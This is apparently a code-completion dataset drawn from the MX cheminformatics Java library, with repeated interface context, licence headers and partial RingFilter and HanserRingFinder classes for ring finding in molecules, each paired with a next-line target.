// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/query/AtomMatcher.java
// public interface AtomMatcher
// {
// boolean matches(Atom atom);
// }
// Path: src/com/metamolecular/mx/ring/RingFilter.java
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.query.AtomMatcher;
import java.util.ArrayList;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class RingFilter
{
private RingFinder ringFinder;
private Comparator comparator; | private AtomMatcher filter; |
metamolecular/mx | src/com/metamolecular/mx/ring/RingFilter.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/query/AtomMatcher.java
// public interface AtomMatcher
// {
// boolean matches(Atom atom);
// }
| import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.query.AtomMatcher;
import java.util.ArrayList; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class RingFilter
{
private RingFinder ringFinder;
private Comparator comparator;
private AtomMatcher filter;
public RingFilter(AtomMatcher filter, RingFinder finder)
{
ringFinder = finder;
comparator = new RingSizeComparator();
this.filter = filter;
}
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/query/AtomMatcher.java
// public interface AtomMatcher
// {
// boolean matches(Atom atom);
// }
// Path: src/com/metamolecular/mx/ring/RingFilter.java
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.query.AtomMatcher;
import java.util.ArrayList;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class RingFilter
{
private RingFinder ringFinder;
private Comparator comparator;
private AtomMatcher filter;
public RingFilter(AtomMatcher filter, RingFinder finder)
{
ringFinder = finder;
comparator = new RingSizeComparator();
this.filter = filter;
}
| public void filterAtoms(int atomLimit, Collection<List<Atom>> rings, Collection<Atom> atoms) |
metamolecular/mx | src/com/metamolecular/mx/ring/RingFilter.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/query/AtomMatcher.java
// public interface AtomMatcher
// {
// boolean matches(Atom atom);
// }
| import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.query.AtomMatcher;
import java.util.ArrayList; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class RingFilter
{
private RingFinder ringFinder;
private Comparator comparator;
private AtomMatcher filter;
public RingFilter(AtomMatcher filter, RingFinder finder)
{
ringFinder = finder;
comparator = new RingSizeComparator();
this.filter = filter;
}
public void filterAtoms(int atomLimit, Collection<List<Atom>> rings, Collection<Atom> atoms)
{
for (List<Atom> ring : rings)
{
if (atoms.size() >= atomLimit)
{
break;
}
if (ringMatches(ring))
{
atoms.addAll(ring);
}
}
}
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/query/AtomMatcher.java
// public interface AtomMatcher
// {
// boolean matches(Atom atom);
// }
// Path: src/com/metamolecular/mx/ring/RingFilter.java
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.query.AtomMatcher;
import java.util.ArrayList;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class RingFilter
{
private RingFinder ringFinder;
private Comparator comparator;
private AtomMatcher filter;
public RingFilter(AtomMatcher filter, RingFinder finder)
{
ringFinder = finder;
comparator = new RingSizeComparator();
this.filter = filter;
}
public void filterAtoms(int atomLimit, Collection<List<Atom>> rings, Collection<Atom> atoms)
{
for (List<Atom> ring : rings)
{
if (atoms.size() >= atomLimit)
{
break;
}
if (ringMatches(ring))
{
atoms.addAll(ring);
}
}
}
| public void filterAtoms(Molecule molecule, Collection<Atom> atoms) |
metamolecular/mx | src/com/metamolecular/mx/ring/HanserRingFinder.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
| import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import java.util.ArrayList;
import java.util.Collection; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class HanserRingFinder implements RingFinder
{ | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
// Path: src/com/metamolecular/mx/ring/HanserRingFinder.java
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import java.util.ArrayList;
import java.util.Collection;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class HanserRingFinder implements RingFinder
{ | private List<List<Atom>> rings; |
metamolecular/mx | src/com/metamolecular/mx/ring/HanserRingFinder.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
| import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import java.util.ArrayList;
import java.util.Collection; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class HanserRingFinder implements RingFinder
{
private List<List<Atom>> rings;
private int maxRingSize;
public HanserRingFinder()
{
rings = new ArrayList();
maxRingSize = -1;
}
public void setMaximumRingSize(int max)
{
this.maxRingSize = max;
}
public int getMaximumRingSize()
{
return this.maxRingSize;
}
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
// Path: src/com/metamolecular/mx/ring/HanserRingFinder.java
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import java.util.ArrayList;
import java.util.Collection;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
